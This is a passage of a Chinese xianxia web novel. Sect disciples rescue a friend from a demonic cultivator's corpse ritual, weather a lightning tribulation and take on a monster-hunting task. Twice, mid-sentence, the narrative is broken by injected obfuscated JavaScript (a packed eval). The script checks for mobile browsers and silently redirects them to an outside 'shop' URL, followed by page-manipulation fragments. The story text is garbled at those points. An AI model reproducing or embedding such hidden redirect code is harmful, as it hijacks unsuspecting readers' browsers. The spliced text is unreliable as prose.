她渴望能与她一同观赏来年的初雪。 “大师姐,如果你害怕,那我就会变得更强来保护你;如果你讨厌我,那我们就如你所说,纠缠到死,谁也不放过谁。” 如今的江月平,已不再是往日那个正直且克制的模样,她的眼神变得偏执而疯狂。 她躺在地上,紧咬着嘴唇,头发凌乱地散落在地面上。一旁的留影石仍在继续播放着画面,而她则蜷缩着身体,不停地颤抖,筋脉已被全部压断,修为也被彻底打散。这种不顾一切的吸收方式,让她将自己完全打碎,重新进行灵力的融合与修炼。 她的嘴角开始溢出鲜血,眼泪不受控制地滑落,连喘息都变得异常艰难。在这一刻,她的身形重新变回了男子。 他白皙的脖颈和上下滚动的喉结伴随着不断的痛苦闷哼声。 在恍惚中,他感受到灵力的第一阶段已经停止,于是抓住这个短暂的空隙,通过书卷向徐听晚发送消息,告诉她自己没事。 时间如白驹过隙,转瞬即逝。 突然间,冷空气席卷而来,人们纷纷披上了厚重的毛绒披风。 徐听晚置身于这片被白雪覆盖的雨樟林中,身旁是嬉戏打闹、正忙着打雪仗的柳清云与温乐天。石观明则在一旁皱眉旁观,最终被柳清云硬拉着加入了他们的阵营。 “你这做法可不公平!”温乐天指着两人抗议道。 柳清云不屑地哼了一声:“你将棋子藏于雪球之中,还妄图用你那棋盘操控这些雪球来砸我,我都没吭声呢。”他指了指石观明的储物袋,提议道:“二师兄,把浅云也叫出来帮我砸他。” 温乐天轻笑一声,自信满满地说:“就算你们三个联手,也赢不了我。” 话音未落,他眼神一闪,蕴含灵力的黑子瞬间卷起一个雪球。他只需轻轻移动小棋盘上的白子,雪球便如同有了生命一般,不断向两人砸去。 柳清云惊怒交加:“他何时能如此直接地操控棋子了?” 温乐天得意地笑道:“我已经是金丹巅峰了,只有你还停留在金丹中期。” 石观明闻言,唤出了浅云。浅云化作原形,一甩尾巴,便卷起一片雪向温乐天袭去。温乐天一时不察,竟被雪团裹成了雪人。 他满身是雪地站在那里,浅云还调皮地向他吐了一口小水柱。瞬间,他身上的雪化作了冰晶。“啊!”他惊叫着疯狂抖动身体,甩掉冰渣,烘干衣服,随后双手抱臂,大声喊道:“不玩了,我真的不玩了!” 柳清云拍了拍身上的雪,大笑道:“就这水平啊。” 浅云在一旁兴奋地打着转,又一甩尾巴,甩出一片雪。这次,温乐天巧妙地躲了过去,重新燃起了斗志:“就这?” 石观明轻轻叹了口气,随后便随他们去了。 他缓步走到徐听晚身旁,只见她正手执书卷,低头专注地发送着消息。要知道,大师姐平日里可不怎么看书卷的。 “在看些什么呢?”他好奇地问道。 徐听晚闻言,抬头浅笑,回答道:“在和小师妹聊天呢,她得了个大机缘,可能要好一阵子才能回来。她写错了好多字,发来的消息也是断断续续的。” 与此同时,江月平那边,他正端坐于地,双手颤抖着在书卷上画写着要发送的消息。常人的书写速度远胜于他此刻的状态,因身体的痛苦,他很难保持双手的稳定。 徐听晚告诉他,自己这边昨晚下了一夜的雪,现在正和大家一起赏雪,并询问他是否也看到了雪。江月平艰难地一点一点爬到洞口,盯着外面的雪景,颤颤巍巍地回复道:“看见了。” 他凝视着留影石中的画面,看着她所见的雪,又转头望向自己身边的雪景,仿佛两人从未分离过一般。 徐听晚的浅色瞳眸中映照着明亮的雪花,将眼神中的淡漠凸显无遗。天空突然飘起了纷纷扬扬的雪花,她伸出白皙修长的手指,雪花在她的手心缓缓融化,却又不断有新的雪花落下。直至她掌心的温度消散,雪花才开始在她的手中慢慢堆积。 两人的目光交汇,他们自幼一同成长,气质皆十分相似。他们并非话本中描绘的英雄豪杰,各自怀揣着内心的渴望。徐听晚渴望获得力量,而石观明则渴望她。 徐听晚并非愚钝之人,自然能够察觉到石观明对她的情意,但她更希望他不要将这份情感说出口,只因她会很难抉择。 每当她做出抉择,都会做好面对最坏结果的准备。 她逐渐意识到,对他人期望越高,往往失望也会越大。即便能遇到真正志同道合的朋友,也只是屈指可数。 “他朝若是同淋雪……”石观明转头望向她,雪花轻轻覆盖在她的睫毛上,让人难以窥探她眼底的情绪。 石观明没有再说下去,他身着白衣,满头落雪,与天地融为一体,显得清清白白,惨惨戚戚。 “雪下大了,咱们回去吧。” 言毕,徐听晚匆匆加快脚步,回到院落之中。 关于情爱一事她并没有过多思考。 她翻开自己的手记,上面密密麻麻地记录着各种阵法,其中大半她已熟练掌握,剩余的部分尚需进一步精进。 雪纷纷扬扬地连下了多日,温乐天突然提出要外出一趟。 起初,众人都以为这只是件寻常小事,然而,半个月的时间悄然流逝,却仍未传来他的任何消息。 此时,石观明正处于突破的关键时刻,徐听晚必须留下来为他护法,因此,只能派遣柳清云前往温乐天之前提及的地点探探究竟。一旦发现任何不妥,他需立即返回,将情况告知众人。 柳清云深吸一口气,以往的他,要么是在宗门内安心修炼,要么是与小师妹相伴左右,而现在,他更多地是与大家一同行动。这,是他第一次独自外出执行任务。 他依照地图的指引,来到了城外,坐上飞行灵器折扇,向一片树林飞去。树林中,各式各样的树叶交织在一起,遮挡住了前行的道路。他并不像大师姐他们那样,能够轻而易举地将天河大陆的地图熟记于心。 他小心翼翼地按照地图前行,谨慎地避开那些带着尖锐针叶的丛林。周围异常安静,连鸟儿的鸣叫声都未曾听闻。厚厚的积雪覆盖了大地,模糊了人们的视线。 直到他嗅到一股熟悉的气息,抬起脚,发现苦枯菊已腐烂在地面上,他不禁轻叹一声:“完了!”话音未落,一道身影倏然闪过。 一名修士被猛然踹飞至此,周围的树林为之一颤,雪花纷纷扬扬地飘落。柳清云眼疾手快,迅速将袖中的毒药挥洒而出,却猛然被人死死地压在身下。 那熟悉的白茶香味让他瞬间停止了挣扎。 紧接着,他们听到了脚步声,那人从他们身上走过。随后,一个男人痛苦的喊叫声响起,柳清云不禁微微蹙起了眉头。 拖行声和脚步声渐渐远去,压在他身上的人推开身上的积雪,缓缓起身。 “怎么只有你一个人来了?”温乐天压低声音,略带怒意地吼道。 柳清云凝视着他紧锁的眉头和严肃的眼神,轻声问道:“你为何不回书卷消息?我们都很担心。二师兄即将突破,大师姐需在一旁护法,所以只能我前来。你快跟我走,这里太奇怪了。” 温乐天紧紧抓住他的手臂,急切地说:“走不了了,这里被魔阵围困,书卷消息也发不出去。” 柳清云抱住他的胳膊,焦急地问道:“那该怎么办?你为何突然一个人来这里?” 温乐天皱眉答道:“有人挖了若音的坟,偷走了她的尸体。黑阁给我的最后消息就是这里。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125615|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “挖坟?谁如此狠毒?”柳清云手握着毒药,警惕地环顾四周。 温乐天用力甩了甩手臂,急切地说道:“你能不能先想办法把这毒给我解了!”话音刚落,他猛地吐出一口黑血,单膝跪倒在地。 柳清云猛然间想起,连忙从怀中掏出一颗丹药,迅速喂进了温乐天的嘴里。 “咳咳咳,你怎么还会用毒了?”温乐天艰难地擦了擦嘴角的黑血,疑惑地问道。 “我是在梅家藏书阁看到的,我在手记上记录了好多种毒术,只是还没全部学会。”柳清云睁着大大的眼睛,一脸期待地看着温乐天,仿佛在等待夸奖。 温乐天没有理会他的表情,而是拿出棋盘,指着上面的白子说道:“我已经将六枚黑子藏在了那个人的木屋六处,咒印的魔符我也已经找到了。到时候你去木屋旁边等着,我毁掉魔符后,那个魔修肯定会来找我。然后,我再用白子移开木屋的墙壁,方便你进去寻找陆若音的尸骨。找到尸骨后,你直接离开,去找大师姐。” 柳清云点了点头,担忧地问道:“你能拖住那个魔修吗?” 温乐天轻轻拍了拍红衣上的雪渣,自信地说道:“行不行,一试便知。” 说完,他转身就要离去。 柳清云连忙小声叫住他:“等一下!” 温乐天本以为她是担心自己,结果柳清云却拿着地图,皱着眉说道:“你忘记告诉我木屋在哪里了,你还是给我标一下吧,我怕走错了。” 温乐天微微扯动嘴角,说道:“这次回去,三师兄我定会好好培训你一番。” 他为柳清云指明了方向,柳清云便依照地图,小心翼翼地走到木屋旁。只见木屋外的地面上,蜡烛遍地,五个祭台上分别摆放着五颗头颅。 这些头颅中,一个缺失了眼睛,一个没有了嘴巴,一个少了鼻子,一个丢了耳朵,还有一个则光秃秃的没了头发。它们的皮肤异常白嫩,全然不似死人的模样,被挖去的地方白骨森森,祭台被鲜血浸透,下方摆放的三支蜡烛红得如同鲜血一般。 柳清云吓得不由自主地往后退缩,木屋一侧堆积着各式各样的尸体,它们全部被剔除了血肉,残破不堪的血肉仿佛是经过精心挑选后被割除一般。 他忍不住干呕起来,眼前的景象比他之前见过的任何尸体都要残忍得多。 一身黑袍的魔修手持一只断臂,细细端详,左顾右盼,最终残忍地剔除其上血肉,而后随意地将之抛向一旁的尸堆之中。 柳清云眉头紧蹙,手心已渗满汗水,眼前的景象实在太过诡异。 天际的咒印已然消散,巨大的震动使得整片树林的积雪纷纷扬扬地落下。 过了许久,木屋之内依旧毫无动静,柳清云眉头紧锁,焦急地在一旁等待。 突然,一道光束冲天而起,五个祭台上的头颅迅速衰老,蜡烛也疯狂燃烧,柳清云眼见情势危急,猛地冲出,一把打落祭台上的头颅,又将地上的蜡烛踢得七零八落。光束随之消失,而他也被人猛地扼住喉咙,狠狠地扔向一旁。 一个颤抖的女声响起:“不行,就差一点,只有让它的力量完全恢复,才能助我!” 女魔修慌慌张张地捡起地上的头颅,想要重新放回祭台。柳清云趴在地上,艰难地爬起,冲向女魔修,一脚将头颅踹飞,随后一把长剑穿透了他的胸口。柳清云不顾伤口,一脚狠狠踩向头颅,将其踩得粉碎。 女魔修怒吼一声,拔出长剑,再次刺向柳清云,却被他侧身躲过。柳清云拿出一瓶毒药,迅速撒出。 毒药溅落在女魔修的眼睛上,开始一点点腐蚀。“啊啊啊啊啊!”女魔修痛苦地捂住眼睛,惨叫声不绝于耳。 柳清云往后退去,贴上大师姐赠予的上品隐匿符。 女魔修的眼睛彻底失明,她胡乱地挥舞着手中的剑,剑气四溢。柳清云捂住嘴巴,左右躲避,被剑气击中的树木纷纷折断。 柳清云一步步走进木屋,木屋狭长,构造宛如棺材。女魔修逐渐平静下来,听见他的脚步声后迅速追了过来。虽然她看不见,但挥剑将前方的遮挡物一一斩断。 察觉到她步步紧逼,柳清云不再小心翼翼地前行,而是开始迅速向前奔跑。 “你死定了!”女魔修那嘶哑的怒吼声在身后骤然响起,柳清云毫不犹豫地将手中的毒药全部向后洒去。 毒药迅速腐蚀着女魔修的身体,但她却仿佛陷入了疯魔状态,不顾一切地向柳清云冲去。 就在这千钧一发之际,四周的墙壁猛然间向后移动,紧紧夹住了正欲刺向柳清云的女魔修,与此同时,屋顶也轰然压下,将她牢牢困住。 木屋瞬间崩塌,里面那些与地面诡异线条相连的屏风也被震得七零八落,散落一地。 天空中,劫云隐隐浮现。 温乐天一身红衣,眼神冷漠地注视着这一切。 他收回黑子,放下棋盘,随即抽出双弯刀,猛地冲向被困的女魔修,一刀刺穿了她的胸口。 女魔修却轻笑一声,道:“都别想好过!” 温乐天听到这声音,心中涌起一股莫名的熟悉感,但容不得他多想,女魔修竟硬生生地将刺穿胸口的弯刀推了出去。 温乐天身形一闪,翻了个跟头,远远地飞了出去。 角落里的一道黑影,瞥见天上的劫云,吓得魂飞魄散,瞬间跑得无影无踪。 与此同时,徐听晚凝视着石观明头顶翻腾不息的劫云,以及远方正悄然汇聚的更多劫云,心中暗自惊叹。 又有一人即将跨越金丹,迈入元婴之境了。 在整个天河大陆上,一个宗门里,突破金丹至元婴者,寥寥无几,至多不过十人。各宗门通常设有四位长老、一位掌门以及五位亲传弟子。而上一辈的掌门与长老,大多已选择闭关苦修,甚至有许多已驾鹤西去。 境界划分清晰如下: 下境界: 1、炼气期 2、筑基期 3、金丹期 4、元婴期 5、化神期 上境界: 1、炼虚期 2、合体期 3、大乘期 传说,一旦突破大乘期,便能羽化登仙,获得永生,更能操控天地万物。 然而,这终究只是人们的猜测与向往,毕竟,从未有人真正突破过大乘期,做到操控天地之能。 徐听晚不再胡思乱想,抬头凝视着头顶飘飞的浅云。此刻,她们正身处梅家城外的一片树林之中。尽管四周看似空无一人,但仍需时刻保持警惕,以免不慎伤及无辜。 第一道劫雷轰然落下,浅云与石观明皆身形一震,伴随着震耳欲聋的龙啸声。与此同时,徐听晚储物袋中的八卦符咒应声而出,迅速布下一个笼罩整条巨龙的阵法,将那震耳欲聋的龙啸声隔绝于内。 四周的妖兽被这突如其来的龙啸声吓得四散奔逃,哀嚎连连,竟引发了一场兽潮。 然而,维持这个阵法消耗极大,徐听晚咬紧牙关,拼尽全力。 她先稳住阵脚,随后不断加固阵法的稳定性。外面的妖兽疯狂地撞击着阵法,而阵内的龙啸声震耳欲聋,她已无暇顾及,导致识海受到重创。 这下可真是麻烦了…… 39.突破 柳清云紧紧捂住胸口的伤口,急切地想要逃离这个危险之地。 女魔修的面具上出现了细微的裂痕,她的头颅微微震颤,一股浓郁的魔气自她的眼眶中汹涌而出。她原本紧握剑柄,剑尖直指温乐天,却猛然间转身,剑光一闪,精准无误地向柳清云刺去。 “她不是已经失明了吗?”柳清云惊呼。 温乐天身形一闪,瞬间挡在了柳清云的身前,用弯刀紧紧抵住了女魔修的剑刃,急切地喊道:“你快带着若音的尸骨逃走!她已经彻底魔化了!” 柳清云闻言,慌忙起身,向着房屋的最深处奔去。女魔修怒目圆睁,盯着柳清云的背影,怒吼一声,猛地抽出长剑,身形如电,向柳清云扑去。温乐天身形回转,弯刀如钩,紧紧勾住了女魔修的腰部,硬生生地将她拽了回来。 温乐天迅速转动另一只手中的弯刀,直取女魔修的脖颈。火焰在他手中熊熊燃烧,火灵力在他体内疯狂涌动。 女魔修痛呼一声,目光转向温乐天,一把抓住了他的弯刀,同时举起长剑,狠狠刺向他的脖颈。温乐天灵活松手,弯刀脱手而出,身形一侧,躲过了女魔修的致命一击,反手蓄力,弯刀如电,狠狠割向女魔修的腰部。 两人打的不可开交,突然间,天际闪过一道雷劫,狠狠劈落,两人均被震得受伤倒地。 温乐天紧锁眉头,望向天边,深知已来不及。 女魔修在短暂的清醒中,摇了摇头,认出了眼前的温乐天:“温乐天?” 温乐天闻声皱眉,心中涌起一股熟悉感——这是李莫离! “李莫离?”他惊讶地回应。 女魔修突然痛苦地双膝跪地,大喊道:“你可知道,你破坏的是谁的重生仪式!” 紧接着,第二道雷劫再次劈下,温乐天单膝跪地,而李莫离则被雷劫的威力击飞,她掩面痛哭,声音撕心裂肺。 “这世间根本没有重生之法,那是魔修在骗你!”温乐天对她怒吼道。 李莫离颤抖着手,哽咽着说:“我无法忘记阿音临终前的眼神,我无法接受她的离去。只要有一点点希望,我都想尝试。她是为了救我们两个才牺牲的,你凭什么阻止我!” 温乐天低下头,沉默不语。此时,剩余的五道雷劫接连落下,他的身上瞬间燃起熊熊烈火。 渡过雷劫后,他红着眼睛,抬头怒视着李莫离:“笨蛋!这是召鬼阵法,不是招魂阵法!说,是谁告诉你的!” 李莫离猛然愣住,低头看着自己的双手。 温乐天继续说道:“这个阵法献祭的不仅仅是这些人的血肉,还有你的魂魄!” 李莫离吐出一口鲜血,哽咽着说:“长……长得……” 话未说完,她便咽了气,倒在地上。 温乐天满心疑惑,喃喃自语:“长得?什么很长?” 柳清云吃力地抱着沉重的棺木,踉跄着奔了过来,气喘吁吁地道:“三师兄!我劝你还是别看了,我感觉自己快要撑不住了。” 话音未落,他便无力地倒在了棺木之上。 温乐天连忙将柳清云扶到一旁,随后伸手缓缓推开棺盖。只见陆若音的身躯上,血肉被一块块地填补缝合,场景异常诡异。 他的目光落在尸首手腕上佩戴的双响玉环上,轻轻将其摘下,又找了根红绳,将其系在了自己腰间香囊之上。 “这个,就留给我吧。等一切事情都了结之后,我带着它,我们一起共赴小时候的愿望去游历天河大陆的千山万水。”温乐天习惯性地露出笑容,但眼泪却不由自主地滑落而下。 “阁主!”此时,三个黑衣人从飞行灵器上纵身跃下,恭敬地行礼。 温乐天背过身,擦掉眼泪,摆了摆手,吩咐道:“你们护送我四师弟回去。先找个安静的地方,把那个入魔的女子安葬了,然后再去通知沧澜符宗来处理这里的尸体。我亲自送若音回家,你们安排专门的云舟送我去上北城。上北城的暗线要继续严密监视那三个坟墓,若有任何人对坟墓不敬,格杀勿论。若是遇到难以对付的敌人,就立即通知我。” “是,阁主!”黑衣人齐声应命。 温乐天戴上面具,披上银黑色的披风,将黑子轻轻放在棺木之上,随后操控着白子,坚定地向前走去。 此时,劫云已经散去,天地间一片苍茫,又开始飘起了雪花。 双响玉环的撞玉之声,在寂静的路上零丁作响,仿佛在低语着无尽的思念。 念念不忘,必有回响。 徐听晚此刻已至力竭之境,阵法在外界的持续撞击下摇摇欲坠,龙啸之声如潮水般侵入她的识海,将她推向极限的边缘。她毅然咬破指尖,将鲜血融入符墨,调动本源之力,毅然决然地绘制出八卦符咒,强行稳固阵法。 她无法如同小师妹那般,以血为墨绘制符咒,那乃是天灵根者方可施展的自毁式攻击,是符修的终极手段,非生死存亡之际绝不轻用。除天灵根外,其他灵根者一旦施展此术,必将修为散尽,沦为废人。 终于,最后一道雷劫轰然落下,龙啸之声愈发震耳欲聋,威压如山,徐听晚在这股力量下瞬间失去了意识。 石观明见状,身形一闪,将她紧紧揽入怀中,而浅云则盘旋于天空之上。 随着徐听晚的昏迷,阵法也随之消散,无数妖兽趁机汹涌而来。浅云低吟一声,龙啸震天,妖兽们在这血脉的压制下纷纷倒地,动弹不得。它那如两层房屋般高大的龙尾轻轻摆动,天空中便下起了细雨,雨雪交织,逐渐化为锋利的冰锥。 乌云密布,遮天蔽日。远在五行道宗的徐君彦似有所感,眼神微动,紧握双拳道:“传令下去,我将闭关五年,冲击炼虚之境。两年后的秘境对决,由医药堂长老叶含山和外门长老闻堰代我出席。” 修为低微的妖兽在这股力量下当场毙命,而修为稍强者则四处逃窜。石观明轻轻摆手:“浅云,回来。”浅云眨了眨眼,化作手腕粗细,轻轻蹭过徐听晚的脸庞,满是愧疚,随后钻入储物袋中。 徐听晚缓缓睁开眼睛,坐起身来,轻轻摸了摸自己的头,此时外面已是夜深人静。 她转头望去,只见温乐天正坐在窗边,身旁摆放着书卷,正低头专注地记录着什么。与此同时,石观明正细心地为柳清云换药。 这里,是徐听晚的房间。柳清云的床是临时搭建的小床,此刻,整个房间弥漫着一股浓郁的灵草药味。 梅遇卿在一旁卖力地捣着药,见到徐听晚醒来,惊喜地喊道:“徐道友,你终于醒了!等一下我哦,等我捣完这个药,就拿丹药来帮你调息。” 徐听晚揉了揉脑袋,轻声应道:“没事,不急。”随后,她将目光转向窗边的温乐天,略带恼怒地说道:“温乐天!你跑哪去了,大家都担心死了!” 温乐天眨了眨眼,又恢复了那嬉皮笑脸的模样,嘿嘿笑道:“抱歉让大家担心了,我也是没想到会遇到魔修。对了,大师姐,我已经元婴初期了!” 徐听晚深吸一口气,缓缓说道:“我们先在这里等小师妹吧,刚好这段时间大家也需要休息一下。” 这样,她也算找到了一个不返回宗门的正当理由。她拿出书卷,映入眼帘的首先是父亲闭关修炼的消息,以及提醒他小心林流华的警示。 母亲想要杀她,想必是蓄谋已久,只是之前在宗门之中,多有不便,难以动手。如今她身在外头,母亲便能找寻各种借口,让她名正言顺地命丧于此。 徐听晚满心困惑,之前母亲想要杀她,或许是因为深爱她的父亲无法接受她的存在。可如今,她与父亲已然决裂,为何母亲还要执意杀她?就连父亲也坚信母亲要置她于死地。 难道母亲想要杀她,还隐藏着其他原因?是否与她的亲生母亲有所关联? 头痛再次袭来,她按着额头,满心烦躁,不禁用力拍了拍。 梅遇卿见状,连忙握住她的手,递上丹药:“来,这是上品止痛丹和上品复灵丹,你好好休息,别想太多了。” 徐听晚轻轻点了点头,眼眸低垂,梅遇卿突然凑近她的脸庞,笑道:“你是不是又在想别的事情了?看着我,等柳道友康复后,我带大家去冰钓如何?我做的雪鱼,那味道可是一绝。” 说完,她将手中精心调配好的灵药汁液递给了在一旁担忧注视的石观明。石观明见徐听晚微微一笑,心中的大石这才落地,开始专心为柳清云敷药。 温乐天站起身,缓步走来,笑着蹲在徐听晚的床边,望向梅遇卿道:“梅姐姐,你的冰钓鱼竿能否借我一看?我帮你改良一下。” 梅遇卿欣然点头,笑道:“好啊,我这就去拿给你。原来被人叫做姐姐是这种感觉,真是太棒了!乐天弟弟,你年纪轻轻就已经达到了元婴期,真是出类拔萃。” 温乐天狡黠一笑,眼睛微微眯起,说道:“我们在这里打扰了梅姐姐这么久,叫声姐姐也是应该的。” 梅遇卿笑着回应:“无妨无妨,你们想住多久就住多久,有你们在,我也能多些人说话解闷。” 徐听晚好奇地询问道:“卿卿,难道没有人与你交谈吗?不是说世家子弟众多,你的表兄弟们呢?” 梅遇卿轻轻叹了口气:“他们不敢与我交谈。我是主血脉的继承人,只有当主血脉无法承担大任时,才会考虑分支血脉来继承家族。而且,一旦主血脉有新的子嗣诞生,那也将是第一继承人,因为只有主血脉的人才能启动护城阵法。他们对我主脉的血统极为尊重,但这也让我感觉与他们之间有一道难以逾越的隔阂,相处起来并不自在。或许是因为曾经发生过主脉血统被分支血脉打压,强行关闭阵法的事情,所以他们对我总是十分小心。” 徐听晚听后,点了点头,表示理解。 看到梅遇卿这么晚了还在这里帮助他们,徐听晚心中不禁有些愧疚:“你在此借宿于我们,这份恩情我不会忘记。将来若梅家有需要,我必定会前来相助。” 梅遇卿笑着摇了摇头:“你我之间无需如此客气,互帮互助是应该的。你强大,我们也会跟着强大,我们可是坚不可摧的盟友。” 说完,她伸出手,示意徐听晚握手。徐听晚将手放上,轻轻点了点头,微笑道:“合作愉快。” 梅遇卿亲昵地挽住徐听晚的脖颈:“倒也不用这么客套,你是我第一个朋友,我们之间的情谊自然要比合作关系深厚得多。” 徐听晚微微一笑,挑眉道:“那是自然。” 经过了许多漫长的日日夜夜,柳清云依然沉睡未醒。 徐听晚孤身一人坐在屋内,目光凝视着窗外,不由自主地沉浸于对阵法的深入探究之中,她坚信阵法的极限远不止于此。 她会轻轻地将窗户推开一道缝隙,任由冷风悄然涌入,宛如自然界的提神良药,伴随着梅花淡雅的芬芳,这些日子以来,她的头痛竟奇迹般地未曾再发作。 “大师姐,清云醒过来了!”伴随着一阵清脆如玉的撞击声,梅花的香气被白茶的气息所混杂,温乐天推开窗户,满脸笑意地望着她。 徐听晚轻轻颔首,放下手中的笔,与他一同迈向相邻的房间。 门扉被推开,一股寒风顺势涌入,梅遇卿敏锐地察觉后,立刻起身挡在了柳清云的面前。 柳清云迷迷糊糊地抬起头,望向梅遇卿,他面带笑容地问道:“感觉如何?幸好那把剑只是擦过了你的心口。” 柳清云目光呆滞地看着她,此刻他的视线虽是一片模糊,但即便无法看清她的容貌,心中依旧为之悸动。 如果说他之前对小师妹的喜欢源于她的美貌与正直的性格,那么对于眼前之人,他所钟爱的仅仅是她的声音与那朦胧的轮廓。 “梅道友,我的视线似乎有些模糊。”柳清云的声音略显沙哑,透出一种楚楚可怜的样子。 梅遇卿轻声细语地安慰着:“柳道友,你身为丹修,应当知晓,长时间昏迷后猛然醒来,视力确实会有一时的模糊。别急,你只是尚未适应,无需惊慌。来,吃颗糖,放松一下。你现在身子虚弱,复灵丹暂且不能直接服用。” 柳清云接过一颗与她衣裳同色的浅紫色糖果,那是酸甜可口的葡萄口味。 “多谢。”他轻声说道。 徐听晚递上一包梅花糕,笑道:“这是卿卿亲手做的,我这儿还剩些。” 梅遇卿连忙摆手:“听晚,你继续享用便是。我已为他留了一份,还给你小师妹也备了一份,另外还托人给我兄长带了一份。没事的,吃完了我再做便是。这梅花糕里我还加了不少滋补的灵草,都是我亲手栽种的。放着也是放着,不如尝尝看。” 看着她摇头晃脑地说着,徐听晚忍俊不禁,觉得她真是可爱极了。 “我三师弟第一天就把那份吃完了,真是个贪吃鬼。” 温乐天匆匆走来,辩解道:“这能怪我贪吃?是梅道友做的太好吃了嘛。” 梅遇卿被逗得开怀大笑,将一瓶上品复灵丹放在柳清云手中:“这丹药明日再服,我需回去处理些宗门事务。过两日,“我们一同去冰钓!” 柳清云凝视着梅遇卿渐行渐远的背影,温乐天自然而然地坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132623|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了他的床边,伸出手轻轻晃了晃他的眼前,笑道:“怎么了,又对她心生情愫了?” 柳清云微微皱眉,轻轻捶了他一下,道:“我早就对小师妹没有感觉了。” 徐听晚闻言,不禁皱起了眉头,疑惑地问道:“发生什么事情了?” 柳清云坦然一笑,道:“花开花落花无悔;缘来缘去缘如水。” 石观明紧握双拳,目光转向了一旁。 温乐天摇了摇头,道:“不说这些了,我们还是聊一聊我遇到的那个魔修的事情吧。” 徐听晚搬来了两把椅子,一把递给了石观明,一把自己坐下。 “那个魔修,就是李莫离。”温乐天沉声说道。 三人闻言皆是一惊,相互对视了一眼,温乐天接着往下讲述。 …… “大师姐,你说‘长得’是什么意思?”温乐天好奇地问道。 徐听晚眉头紧锁,道:“虽然我不清楚‘长得’的具体含义,但按照逻辑推断,应该是有个有说服力身份的人欺骗了李莫离。” 柳清云皱眉道:“大师姐的意思是,修仙界出现了内奸?而且地位还不低?” “不可妄下结论,我们还是走一步看一步吧。”徐听晚摇了摇头,说道。 原本只是想调查古忆南当年的案件,没想到竟然牵扯出了这么多人。 徐听晚微微握拳,事情已经远非最初想象的那么简单,她已经无法依靠他人与之抗衡,必须提升自己的修为,依靠自己的力量。 表面平静的修仙界,到底隐藏着多少 “大师姐?” “大师姐!”柳清云连声呼唤,语气中带着几分关切。温乐天轻轻晃了晃徐听晚的胳膊,徐听晚这才从沉思中回过神来,疑惑地问道:“怎么了?” 温乐天将目光转向柳清云,只见柳清云微微皱眉,关切地说道:“大师姐,你还是多休息一下吧,你的面色看起来不太好。” 徐听晚轻轻点了点头,道:“我在考虑是否要在书卷上接些任务,寻找一些机缘。” “大师姐,你还是要注意休息啊。”柳清云的声音柔和而坚定。 徐听晚轻笑一声,道:“没事,我可能近段时间不在屋子,如果有事,提前在书卷上告诉我吧。” 言罢,她转身离开屋子,打开书卷,仔细查看任务榜单。她的视线最终停留在了一个困难难度的任务上:猎杀妖兽。 据某位梅家子弟报告,梅家城西方的一处小渔村出现了河神,只要村民献祭活人,便会得到源源不断的大鱼。经过秘密探查,他们判断这很可能是生了灵智的妖兽在作怪,急需支援! 徐听晚毫不犹豫地接下了这个任务,因为她知道,如果这真的是一只生出灵智的妖兽,那么它的妖丹将足以让她直达元婴中期。 于是,她离开了梅家府邸,御剑飞行,离开了主城区,直奔任务地点而去。 这个任务接的人很少,因为有灵智的妖兽至少都是元婴后期修为,实力非同小可。 徐听晚踏入村落的那一刻,便感受到一股沉闷压抑的氛围。村民们不言不语,一动不动,只是直直地盯着她,仿佛将她视作不速之客。 “徐道友?”一道清冷的声音打破了沉寂,徐听晚转头望去,眼中闪过一丝惊讶:“孟道友。” 孟鹤身后跟随着月恒、初千墨和傅亦舟,他们看向徐听晚的眼神中带着几分异样。徐听晚心中暗自思量,或许是因为周落私的缘故,让他们对她产生了误解。 孟鹤面无表情地问道:“徐道友也是接了任务而来吗?要不要与我们同行?” 月恒紧锁眉头,目光锐利地注视着徐听晚,而傅亦舟则轻轻拍了拍她的后背以示安慰。徐听晚不悦地瞥了孟鹤一眼,心中暗自揣测他究竟是无心之举,还是故意为之。 孟鹤见状,不解地问道:“可是有何不便之处?” 月恒语气平淡道:“或许徐道友有自信独自解决,不愿与我们分享妖丹。” 傅亦舟试图劝阻月恒,却被她一把甩开衣袖。初千墨见状,尴尬地笑了笑:“徐道友,月姐姐并非此意,请勿介意。” 徐听晚轻笑一声:“自然。” 初千墨闻言,松了一口气:“那便好。” 然而,徐听晚的眉头却微微皱起,她真的以为自己毫不在意吗? 孟鹤突然抓住她的手腕:“此任务凶险异常,我们还是一起行动吧。” 徐听晚凝视着孟鹤的双眼,那双眼睛虽美,却如同寒冰般冷漠,甚至比漫天飞舞的雪花还要冰冷。她轻轻挣脱孟鹤的手,低声说道:“不必了。” 说完,她转身离去。 她走在前方,孟鹤紧随其后,步伐紧密。她的脚步突然加快,转进小巷,穿梭于村民的屋舍之间,曲折绕行。 她回头张望,未见人影,自以为已摆脱了孟鹤的追踪,却不料在拐角处与他迎面相撞。 孟鹤显然也未曾预料,抬手欲推,却在认出徐听晚后缓缓放下,说道:“徐道友,此处有异,我一直在你身后跟随。” 徐听晚的额头不慎撞上了孟鹤的下巴,她皱眉揉着额头,心中暗想,这下不会又头疼了吧。 “你为何一直跟着我?”她略带怒意地问道。 月恒一脸不耐烦,撇嘴道:“大师兄是担心你,倒霉鬼。” 徐听晚抬眼望向月恒,这个平日里温婉的人,在她面前却变得如此尖酸刻薄,或许这只是针对她一人。 